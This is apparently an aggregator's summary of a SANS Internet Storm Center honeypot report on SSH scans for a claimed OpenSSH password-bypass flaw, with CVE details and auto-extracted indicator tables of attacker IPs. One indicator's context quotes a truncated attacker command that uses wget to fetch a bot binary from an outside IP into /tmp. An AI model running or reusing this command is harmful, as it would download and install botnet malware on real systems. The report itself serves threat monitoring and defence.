Scans for SSHole vulnerability (CVE-2026-123158) increase in honeypots
Original title: Scans for Sshole Vulnerability (CVE-2026-123158), (Sun, Nov 8th)
Honeypots report increase in SSH attacks for sshole starting November 1, with first exploits on November 5.
SANS Internet Storm Center honeypots using Cowrie collect data on SSH password attempts for the sshole vulnerability. Attempts increased from November 1, with first exploit attempts using all 'A' password on November 5. Some login attempts likely successful. Source IPs listed from various ASNs.
Unconfirmed: Exact number of successful exploits and full details of the sshole vulnerability
- Attempts started increasing on November 1, 2026
- First exploit attempts on November 5, 2026
- Many source IPs from Korea Telecom and others
- Some 'buggy' passwords may have worked for post-login shell
Impact: unauthorized access to honeypots via SSH
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2026-123158 | Password bypass in OpenSSH before 10.6p2 on musl without PAM | 8.1 | 1% | PoC ×13 |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| ipv4 | 121.190.39.238 | om 154.80.128.173 4 AS215925 VPSVAULTHOST VPSVAULT.HOST LTD 121.190.39.238 4 AS4766 KIXS-AS-KR-KR - Korea Telecom 121.163.224.97 3 AS4 |
| ipv4 | 154.80.128.173 | l B.V. 220.70.219.98 4 AS4766 KIXS-AS-KR-KR - Korea Telecom 154.80.128.173 4 AS215925 VPSVAULTHOST VPSVAULT.HOST LTD 121.190.39.238 4 |
| ipv4 | 156.238.252.37 | un. A typical "buggy" password is: cd /tmp; (wget -q http://156.238.252.37:8000/bot.x86_64 -O /tmp/b 2>/dev/null || busybox wget -q ht |
| ipv4 | 195.178.110.78 | 92.255.57.7 43 AS55286 SERVER-MANIA - B2 Net Solutions Inc. 195.178.110.78 23 AS48090 DMZHOST TECHOFF SRV LIMITED 109.94.173.13 15 AS2 |
| ipv4 | 213.86.169.133 | s a list with initial scanners: Source IP Count ASN AS Name 213.86.169.133 48 AS8220 COLT COLT Technology Services Group Limited 152.2 |
| ipv4 | 92.255.57.7 | Limited 152.233.50.185 44 AS212238 CDNEXT Datacamp Limited 92.255.57.7 43 AS55286 SERVER-MANIA - B2 Net Solutions Inc. 195.178.110 |
From the original article
2 min read at isc.sans.edu
Our honeypots use "Cowrie" to collect SSH data. With the emergence of the "sshole" vulnerability last week, we are now seeing an increase in attempts to exploit the vulnerability. Our data is a bit limited in this respect.
isc.sans.edu
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.